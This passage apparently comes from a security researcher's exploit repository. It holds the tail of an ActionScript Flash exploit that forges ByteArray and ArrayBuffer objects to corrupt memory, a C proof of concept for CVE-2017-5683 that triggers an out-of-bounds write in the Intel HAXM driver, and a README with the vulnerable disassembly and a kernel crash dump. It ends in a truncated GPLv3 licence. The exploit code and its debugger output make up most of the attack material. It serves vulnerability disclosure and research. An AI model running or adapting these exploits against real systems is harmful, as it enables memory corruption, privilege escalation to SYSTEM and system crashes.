fba.writeUnsignedInt(0xF0F0F0F0); // Tag 221 | count++; 222 | } 223 | this.ev[2] = fba; 224 | //fba.position = 0; 225 | //ExternalInterface.call("alert", fba.readUnsignedInt()); 226 | 227 | /* The ByteArray Structure is 0x60 bytes 228 | * 229 | 0480e400 64429f70 00000002 07ca3dd0 0475c748 230 | 0480e410 0480e41c 00000040 00000000 64429f18 231 | 0480e420 6447353c 64429f14 64429f24 07fad080 232 | 0480e430 0789d000 07e060d0 00000000 000000c0 233 | 0480e440 64448084 07975608 00000000 00000000 234 | 0480e450 64429f0c 00000003 00000001 00000000 235 | * 236 | * The Array Buffer is 0x18 bytes 237 | * 238 | * ArrayBuffer 239 | 07975608 6442945c 00000001 07c76000 00001000 240 | 07975618 000000c0 00000000 241 | * 242 | */ 243 | 244 | var aux_vec: Vector. = new Vector.(0x100); 245 | count = 0; 246 | while (count < 0x60) { // Read the ByteArray Structure 247 | aux_vec[count >> 2] = read_primitive(payload_ba_address + count); 248 | count += 4; 249 | } 250 | this.ev[3] = aux_vec; 251 | 252 | /* Layout of the Vector aux_vec 253 | * 254 | 0:005> dd 151a45d8 Vector Object 255 | 151a45d8 656fa060 00000002 14c1c1f0 14c0b580 256 | 151a45e8 14c1e150 00000000 00000001 14c5fab0 --> this one holds the VecBuff 257 | 151a45f8 00000000 00000000 258 | 259 | 260 | 0:005> dd 14c5fab0 // VecBuff UINT 261 | Size | Separator | Elements[] 262 | 14c5fab0 00000100 13eff000 656e9f70 00000002 263 | 14c5fac0 13f15dd0 14c28748 1512f0bc 00000040 264 | 14c5fad0 00000000 656e9f18 6573353c 656e9f14 265 | 14c5fae0 656e9f24 14038080 13eff000 13dd2f10 266 | 14c5faf0 00000000 000000c0 65708084 13ef2dd0 267 | 14c5fb00 00000000 00000000 656e9f0c 00000003 268 | 14c5fb10 00000001 00000000 00000000 00000000 269 | 14c5fb20 00000000 00000000 00000000 00000000 270 | * 271 | * */ 272 | 273 | 274 | // Write into Vector ev 275 | count = 0; 276 | while(count < 0x60) { 277 | si32(aux_vec[count >> 2] , 0x38 + count); 278 | count += 4; 279 | } 280 | 281 | count = 0; 282 | while (count < 0x18) { // Read Array Buffer 283 | aux_vec[count >> 2] = read_primitive(arraybuff_address + count); 284 | count += 4; 285 | } 286 | 287 | count = 0; 288 | while(count < 0x18) { 289 | si32(aux_vec[count >> 2] , 0x38 + 0x60 + count); 290 | count += 4; 291 | } 292 | 293 | // Change the ArrayBuffer ptr of the faked ByteArray to point into the faked ArrayBuffer 294 | si32(this.ev_address + 0x38 + 0x60, 0x38 + 0x44); 295 | // Change the Buffer ptr of the faked ArrayBuffer to point into the Vector 296 | si32(arraybuff_address, 0x38 + 0x60 + 0x08); 297 | // Finally change the ByteArray Object Ptr of the Vector to point into the the Faked ByteArray 298 | var restore_ba: uint = li32(0x30); // to restore later 299 | 300 | //this.ev[2].position = 0; // vtable of payload_ba 301 | //ExternalInterface.call("alert", this.ev[2].readUnsignedInt().toString(16)); 302 | 303 | si32((this.ev_address + 0x38) | 1 /*Tag the Object*/, 0x30); 304 | 305 | this.ev[2].position = 0; // vtable of payload_ba 306 | this.ev[2].writeUnsignedInt(buffer_address); 307 | 308 | //this.ev[2].position = 0; 309 | //ExternalInterface.call("alert", this.ev[2].readUnsignedInt().toString(16)); 310 | 311 | ExternalInterface.call("alert", "z"); 312 | 313 | //payload_ba.readUnsignedInt.toString(); 314 | //payload_ba.clear(); 315 | 316 | //ExternalInterface.call("alert", this.ev[0].toString()); 317 | ExternalInterface.call("document.location.reload", true); 318 | si32(restore_ba , 0x30); // Restore original ptr 319 | } 320 | 321 | } 322 | 323 | } -------------------------------------------------------------------------------- /Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite/PoC.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | 4 | #define HAX_CREATE_VM 0x40002404 5 | #define HAX_VM_CREATE_VCPU 0x40002408 6 | 7 | void error(char *msg) { 8 | fprintf(stderr, "Error: %s\n", msg); 9 | exit(-1); 10 | } 11 | 12 | DWORD Create_HAX_VM(void) 13 | { 14 | HANDLE hDevice = CreateFileA( 15 | "\\\\.\\HAX\\", 16 | GENERIC_READ | GENERIC_WRITE, 17 | 0, 18 | NULL, 19 | OPEN_EXISTING, 20 | 0, 21 | NULL); 22 | 23 | if (hDevice == NULL) { 24 | error("Could not open HAX device"); 25 | } 26 | 27 | DWORD vmid = 0; 28 | DWORD bytesReturned = 0; 29 | 30 | if (NULL == DeviceIoControl(hDevice, HAX_CREATE_VM, 0, 0, &vmid, sizeof(DWORD), &bytesReturned, NULL)) { 31 | error("Problem during DeviceIOControl HAX_CREATE_VM"); 32 | } 33 | 34 | CloseHandle(hDevice); 35 | 36 | return vmid; 37 | } 38 | 39 | void create_vcpu_for_vm(char *hax_vm_device, unsigned int vcpu_id) { 40 | char device_name[256] = { 0 }; 41 | sprintf(device_name, "\\\\.\\%s\\", hax_vm_device); 42 | HANDLE hDevice = CreateFileA( 43 | device_name, 44 | GENERIC_READ | GENERIC_WRITE, 45 | 0, 46 | NULL, 47 | OPEN_EXISTING, 48 | 0, 49 | NULL 50 | ); 51 | 52 | if (hDevice == NULL) { 53 | error("Could not open the specified hax_vm"); 54 | } 55 | 56 | DWORD bytesReturned = 0; 57 | DWORD param = vcpu_id; 58 | if (NULL == DeviceIoControl(hDevice, HAX_VM_CREATE_VCPU, ¶m, 4, 0, 0, &bytesReturned, NULL)) { 59 | error("Problem during DeviceIOControl HAX_VM_CREATE_VCPU"); 60 | } 61 | 62 | CloseHandle(hDevice); 63 | } 64 | 65 | void test_bug_hax_vm_vcpu(char *deviceName) { 66 | char device_name[256] = { 0 }; 67 | sprintf(device_name, "\\\\.\\%s\\", deviceName); 68 | HANDLE hDevice = CreateFileA( 69 | device_name, 70 | GENERIC_READ | GENERIC_WRITE, 71 | 0, 72 | NULL, 73 | OPEN_EXISTING, 74 | 0, 75 | NULL 76 | ); 77 | 78 | if (hDevice == NULL) { 79 | error("Could not open the specified hax_vm_vcpu"); 80 | } 81 | 82 | DWORD bytesReturned = 0; 83 | DWORD param = 0xFFFFFFFF; 84 | if (NULL == DeviceIoControl(hDevice, 0x40002430, ¶m, 4, 0, 0, &bytesReturned, NULL)) { 85 | error("Problem during DeviceIOControl Bug"); 86 | } 87 | 88 | CloseHandle(hDevice); 89 | } 90 | 91 | int main() 92 | { 93 | 94 | DWORD vmid = Create_HAX_VM(); 95 | 96 | char hax_vm_devicename[256] = { 0 }; 97 | sprintf(hax_vm_devicename, "hax_vm%02x", vmid); 98 | printf("Target VM Name: %s\n", hax_vm_devicename); 99 | 100 | create_vcpu_for_vm(hax_vm_devicename, 7); 101 | 102 | char hax_vm_vcpu_devicename[256] = { 0 }; 103 | sprintf(hax_vm_vcpu_devicename, "hax_vm%02x_vcpu%02x", vmid, 7); 104 | printf("Target VM VCPU Name: %s\n", hax_vm_vcpu_devicename); 105 | 106 | test_bug_hax_vm_vcpu(hax_vm_vcpu_devicename); 107 | return 0; 108 | } -------------------------------------------------------------------------------- /Intel_Hardware_Accelerated_Execution_Manager_OOB_ReadWrite/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2017-5683 - Intel Hardware Accelerated Execution Manager (IntelHaxm.sys) out of bounds read-write IOCTL 2 | 3 | * Affected driver: IntelHaxm.sys <= 6.0.1.0 4 | 5 | Update: https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00072&languageid=en-fr 6 | 7 | +] Summary: There is an out of bounds array write condition in IntelHaxm.sys which could allow attackers to get SYSTEM privileges in the affected machine. 8 | 9 | +] Description: Intel Hardware Accelerated Execution Manager (Intel HAXM) is a hardware-assisted virtualization engine (hypervisor) that uses Intel Virtualization Technology (Intel VT) to speed up Android* app emulation on a host machine. In combination with Android x86 emulator images provided by Intel and the official Android SDK Manager, Intel HAXM allows for faster Android emulation on Intel VT enabled systems. 10 | More into at: https://software.intel.com/en-us/android/articles/intel-hardware-accelerated-execution-manager 11 | 12 | This driver is deployed as part of AndroidStudio (https://developer.android.com/studio/index.html?hl=en). It can also be installed manually. 13 | 14 | +] Technical Description: 15 | 16 | The bug could be triggered by issuing the IOCTL 0x40002430 to a hax_vmXX_vcpuXX device. Such device can be created through other IOCTLs that the same driver expose. 17 | 18 | 19 | 20 | * Disassembly of the vuln code: 21 | 22 | ``` 23 | IntelHaxm+0xa26c: 24 | fffff80d`370ea26c 4883ec28 sub rsp,28h 25 | fffff80d`370ea270 4c8bc1 mov r8,rcx 26 | fffff80d`370ea273 8bc2 mov eax,edx --> EDX Controlled 27 | fffff80d`370ea275 8bca mov ecx,edx 28 | fffff80d`370ea277 c1e805 shr eax,5 29 | fffff80d`370ea27a 83e11f and ecx,1Fh 30 | fffff80d`370ea27d 41b901000000 mov r9d,1 31 | fffff80d`370ea283 448bd0 mov r10d,eax 32 | fffff80d`370ea286 418b848030030000 mov eax,dword ptr [r8+rax*4+330h] --> Out of Bounds read 33 | fffff80d`370ea28e 41d3e1 shl r9d,cl 34 | fffff80d`370ea291 4185c1 test r9d,eax 35 | fffff80d`370ea294 740e je IntelHaxm+0xa2a4 (fffff80d`370ea2a4) --------| 36 | fffff80d`370ea296 488d0db35f0000 lea rcx,[IntelHaxm+0x10250 (fffff80d`370f0250)] | 37 | fffff80d`370ea29d e83285ffff call IntelHaxm+0x27d4 (fffff80d`370e27d4) | 38 | fffff80d`370ea2a2 eb12 jmp IntelHaxm+0xa2b6 (fffff80d`370ea2b6) | 39 | fffff80d`370ea2a4 410bc1 or eax,r9d <----------------------------------| 40 | fffff80d`370ea2a7 4389849030030000 mov dword ptr [r8+r10*4+330h],eax --> out of bounds Write 41 | fffff80d`370ea2af 41ff8050030000 inc dword ptr [r8+350h] 42 | fffff80d`370ea2b6 4883c428 add rsp,28h 43 | fffff80d`370ea2ba c3 ret 44 | ``` 45 | 46 | * Crashdump: 47 | 48 | ``` 49 | nt!DbgBreakPointWithStatus: 50 | fffff801`a19c9d90 cc int 3 51 | 1: kd> !analyze -v 52 | ******************************************************************************* 53 | * * 54 | * Bugcheck Analysis * 55 | * * 56 | ******************************************************************************* 57 | 58 | PAGE_FAULT_IN_NONPAGED_AREA (50) 59 | Invalid system memory was referenced. This cannot be protected by try-except. 60 | Typically the address is just plain bad or it is pointing at freed memory. 61 | Arguments: 62 | Arg1: ffffbd0071812a9c, memory referenced. 63 | Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. 64 | Arg3: fffff80d370ea286, If non-zero, the instruction address which referenced the bad memory 65 | address. 66 | Arg4: 0000000000000002, (reserved) 67 | 68 | Debugging Details: 69 | ------------------ 70 | 71 | 72 | DUMP_CLASS: 1 73 | 74 | DUMP_QUALIFIER: 0 75 | 76 | BUILD_VERSION_STRING: 14393.321.amd64fre.rs1_release_inmarket.161004-2338 77 | 78 | DUMP_TYPE: 0 79 | 80 | BUGCHECK_P1: ffffbd0071812a9c 81 | 82 | BUGCHECK_P2: 0 83 | 84 | BUGCHECK_P3: fffff80d370ea286 85 | 86 | BUGCHECK_P4: 2 87 | 88 | READ_ADDRESS: ffffbd0071812a9c 89 | 90 | FAULTING_IP: 91 | IntelHaxm+a286 92 | fffff80d`370ea286 418b848030030000 mov eax,dword ptr [r8+rax*4+330h] 93 | 94 | MM_INTERNAL_CODE: 2 95 | 96 | DEBUG_FLR_IMAGE_TIMESTAMP: 0 97 | 98 | FAULTING_MODULE: fffff80d370e0000 IntelHaxm 99 | 100 | CPU_COUNT: 4 101 | 102 | CPU_MHZ: a20 103 | 104 | CPU_VENDOR: GenuineIntel 105 | 106 | CPU_FAMILY: 6 107 | 108 | CPU_MODEL: 5e 109 | 110 | CPU_STEPPING: 3 111 | 112 | CPU_MICROCODE: 6,5e,3,0 (F,M,S,R) SIG: 33'00000000 (cache) 33'00000000 (init) 113 | 114 | DEFAULT_BUCKET_ID: CODE_CORRUPTION 115 | 116 | BUGCHECK_STR: AV 117 | 118 | PROCESS_NAME: TestDrivers.ex 119 | 120 | CURRENT_IRQL: 0 121 | 122 | ANALYSIS_SESSION_HOST: XXXX-MACHINE1 123 | 124 | ANALYSIS_SESSION_TIME: 10-14-2016 16:09:41.0074 125 | 126 | ANALYSIS_VERSION: 10.0.10586.567 x86fre 127 | 128 | TRAP_FRAME: ffffa701a927e5a0 -- (.trap 0xffffa701a927e5a0) 129 | NOTE: The trap frame does not contain all registers. 130 | Some register values may be zeroed or incorrect. 131 | rax=0000000007ffffff rbx=0000000000000000 rcx=000000000000001f 132 | rdx=00000000ffffffff rsi=0000000000000000 rdi=0000000000000000 133 | rip=fffff80d370ea286 rsp=ffffa701a927e730 rbp=ffffbd0051812770 134 | r8=ffffbd0051812770 r9=0000000000000001 r10=0000000007ffffff 135 | r11=7ffffffffffffffc r12=0000000000000000 r13=0000000000000000 136 | r14=0000000000000000 r15=0000000000000000 137 | iopl=0 nv up ei pl nz na pe nc 138 | IntelHaxm+0xa286: 139 | fffff80d`370ea286 418b848030030000 mov eax,dword ptr [r8+rax*4+330h] ds:ffffbd00`71812a9c=???????? 140 | Resetting default scope 141 | 142 | LAST_CONTROL_TRANSFER: from fffff801a1a4d9c6 to fffff801a19c9d90 143 | 144 | STACK_TEXT: 145 | ffffa701`a927daf8 fffff801`a1a4d9c6 : ffffbd00`71812a9c 00000000`00000050 ffffa701`a927dc60 fffff801`a194729c : nt!DbgBreakPointWithStatus 146 | ffffa701`a927db00 fffff801`a1a4d3b5 : 00000000`00000003 ffffa701`a927dc60 fffff801`a19d1690 ffffa701`a927e1b0 : nt!KiBugCheckDebugBreak+0x12 147 | ffffa701`a927db60 fffff801`a19c43c4 : 00000000`00000000 fffff801`a19c5d94 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x8a5 148 | ffffa701`a927e270 fffff801`a19f96da : 00000000`00000050 ffffbd00`71812a9c 00000000`00000000 ffffa701`a927e5a0 : nt!KeBugCheckEx+0x104 149 | ffffa701`a927e2b0 fffff801`a18eb00a : 00000000`00000000 00000000`00000000 ffffa701`a927e5a0 fffff801`a19cf502 : nt! ?? ::FNODOBFM::`string'+0x2624a 150 | ffffa701`a927e3a0 fffff801`a19cd8fc : 00000000`00000010 00000000`00000246 ffffa701`a927e5c0 fffff801`a19cc6a1 : nt!MmAccessFault+0x9ca 151 | ffffa701`a927e5a0 fffff80d`370ea286 : 00000000`00000010 00000000`00000344 ffffa701`a927e758 00000000`00000018 : nt!KiPageFault+0x13c 152 | ffffa701`a927e730 fffff80d`370e172d : 00000000`00000000 00000000`00000002 ffffbd00`51e51fb0 ffffbd00`544de900 : IntelHaxm+0xa286 153 | ffffa701`a927e760 fffff80d`370e1adf : ffffbd00`51728ef0 00000000`00000000 00000000`00000001 ffffbd00`5192e800 : IntelHaxm+0x172d 154 | ffffa701`a927e7f0 fffff801`a1cdf280 : ffffbd00`51728ef0 ffffa701`a927eb80 00000000`00000001 ffffbd00`00000000 : IntelHaxm+0x1adf 155 | ffffa701`a927e820 fffff801`a1cde164 : ffffbd00`00000000 ffffbd00`51728e04 00000000`00000000 ffffa701`a927eb80 : nt!IopSynchronousServiceTail+0x1a0 156 | ffffa701`a927e8e0 fffff801`a1cddae6 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x674 157 | ffffa701`a927ea20 fffff801`a19cef93 : 00000000`0000009c 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56 158 | ffffa701`a927ea90 00007ffb`7c534f34 : 00007ffb`7972ca53 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13 159 | 00000042`95aff4b8 00007ffb`7972ca53 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!NtDeviceIoControlFile+0x14 160 | 00000042`95aff4c0 00007ffb`7a5966c0 : 00000000`40002430 00000000`0000009c 00000000`00000003 00000042`00000000 : KERNELBASE!DeviceIoControl+0x73 161 | 00000042`95aff530 00007ff6`a6dc16d4 : 00000000`0000009c 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!DeviceIoControlImplementation+0x80 162 | 00000042`95aff580 00000000`0000009c : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : TestDrivers!test_bug_hax_vm_vcpu+0xb4 163 | 00000042`95aff588 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x9c 164 | 165 | MODULE_NAME: memory_corruption 166 | 167 | IMAGE_NAME: memory_corruption 168 | 169 | FOLLOWUP_NAME: memory_corruption 170 | 171 | MEMORY_CORRUPTOR: LARGE 172 | 173 | FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE 174 | 175 | BUCKET_ID: MEMORY_CORRUPTION_LARGE 176 | 177 | PRIMARY_PROBLEM_CLASS: MEMORY_CORRUPTION_LARGE 178 | 179 | TARGET_TIME: 2016-10-14T09:31:07.000Z 180 | 181 | OSBUILD: 14393 182 | 183 | OSSERVICEPACK: 0 184 | 185 | SERVICEPACK_NUMBER: 0 186 | 187 | OS_REVISION: 0 188 | 189 | SUITE_MASK: 272 190 | 191 | PRODUCT_TYPE: 1 192 | 193 | OSPLATFORM_TYPE: x64 194 | 195 | OSNAME: Windows 10 196 | 197 | OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS 198 | 199 | OS_LOCALE: 200 | 201 | USER_LCID: 0 202 | 203 | OSBUILD_TIMESTAMP: 2016-10-05 06:17:53 204 | 205 | BUILDDATESTAMP_STR: 161004-2338 206 | 207 | BUILDLAB_STR: rs1_release_inmarket 208 | 209 | BUILDOSVER_STR: 10.0.14393.321.amd64fre.rs1_release_inmarket.161004-2338 210 | 211 | ANALYSIS_SESSION_ELAPSED_TIME: 4d6c 212 | 213 | ANALYSIS_SOURCE: KM 214 | 215 | FAILURE_ID_HASH_STRING: km:memory_corruption_large 216 | 217 | FAILURE_ID_HASH: {e29154ac-69a4-0eb8-172a-a860f73c0a3c} 218 | 219 | Followup: memory_corruption 220 | --------- 221 | 222 | 1: kd> 223 | ``` 224 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be 